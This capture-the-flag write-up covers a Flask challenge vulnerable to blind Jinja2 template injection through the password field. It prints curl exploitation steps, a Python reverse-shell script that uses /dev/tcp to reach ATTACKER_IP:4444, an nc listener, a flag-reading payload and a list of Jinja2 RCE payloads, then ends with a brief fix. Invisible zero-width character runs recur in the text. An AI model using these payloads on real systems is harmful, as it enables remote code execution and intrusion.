← Back to Writeups
CUSTOMEasyWeb

Состояние 0x7F

XESXOR9/10/20262 min read
#web#custom#easy#blind_injection#reverse_shell#ssti_jinja2#linux

Состояние 0x7F

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-19 | Status: Solved Techniques: blind_injection, reverse_shell, ssti_jinja2

Summary

Task: Flask app with source code, hint about 0x7F (127 = DEL = ghost input). Solution: Blind SSTI in Jinja2 - password field is rendered as template via from_string().render(), result saved as hash. Exploit by registering with SSTI payload and logging in with computed result, or use reverse shell.

Состояние 0x7F — Hackerlab

Description

Сервер молчит, но не всегда. Попробуй поговорить с ним по-тихому — он любит загадки.

A Flask application is provided (source code in state0x7F_src.zip).

Hint in the name: "Состояние 0x7F" — 0x7F = 127 = DEL in ASCII, hinting at "ghost/invisible input".

Analysis

Vulnerable code (routes.py:35)

python
@main.route('/register', methods=['GET', 'POST'])
def register():
    error = None
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        existing_user = User.query.filter_by(username=username).first()
        if existing_user:
            error = 'This username is already taken'
        else:
            hash = str(jinja2.Environment().from_string(password).render())  # VULNERABLE!
            user = User(username=username, password=hash)
            db.session.add(user)
            db.session.commit()
            return redirect(url_for('main.login'))
    return render_template('register.html', error=error)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Server-Side Template Injection (SSTI) in Jinja2.

The password field is processed as a Jinja2 template via from_string().render(). The render result is saved as the password hash in the database.

Key Points

  1. Blind SSTI — the result is not displayed directly, but saved as the password
  2. You can verify the result by logging in with the "computed" password
  3. Full access to Jinja2 context = RCE

Solution

Step 1: Confirming SSTI

bash
# Register with SSTI payload in password
curl -X POST http://62.173.140.174:16091/register \
  -d "username=test1&password={{7*7}}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Login with the computed result
curl -X POST http://62.173.140.174:16091/login \
  -d "username=test1&password=49"
# Successful login! SSTI confirmed.

Step 2: Reverse Shell

python
#!/usr/bin/env python3
"""
Blind SSTI exploitation via reverse shell.
"""
import requests

TARGET = "http://62.173.140.174:16091"
ATTACKER_IP = "YOUR_IP"
ATTACKER_PORT = "4444"

# SSTI payload for reverse shell
payload = f'''{{{{lipsum.__globals__["os"].popen("bash -c 'bash -i >& /dev/tcp/{ATTACKER_IP}/{ATTACKER_PORT} 0>&1'").read()}}}}'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Register with payload
requests.post(f"{TARGET}/register", data={
    "username": "pwned",
    "password": payload
})

Step 3: Getting the Flag

bash
# On the attacker machine
nc -lvnp 4444

# After getting shell
id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/fl4g.txt
# CODEBY{REDACTED}

Alternative Payload (without reverse shell)

If you need to extract data via blind:

python
# Read file and use as password
payload = "{{lipsum.__globals__['os'].popen('cat /root/fl4g.txt').read()}}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Register
requests.post(f"{TARGET}/register", data={
    "username": "reader",
    "password": payload
})

# Login with file contents as password
requests.post(f"{TARGET}/login", data={
    "username": "reader", 
    "password": "CODEBY{REDACTED}"
})

Useful SSTI Payloads for Jinja2

python
# Basic check
{{7*7}}
{{config}}

# RCE via lipsum
{{lipsum.__globals__["os"].popen("id").read()}}

# RCE via cycler
{{cycler.__init__.__globals__.os.popen('id').read()}}

# RCE via request
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

python
# WRONG (vulnerable)
hash = str(jinja2.Environment().from_string(password).render())

# CORRECT (secure)
import hashlib
hash = hashlib.sha256(password.encode()).hexdigest()

Never pass user input to template rendering functions! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍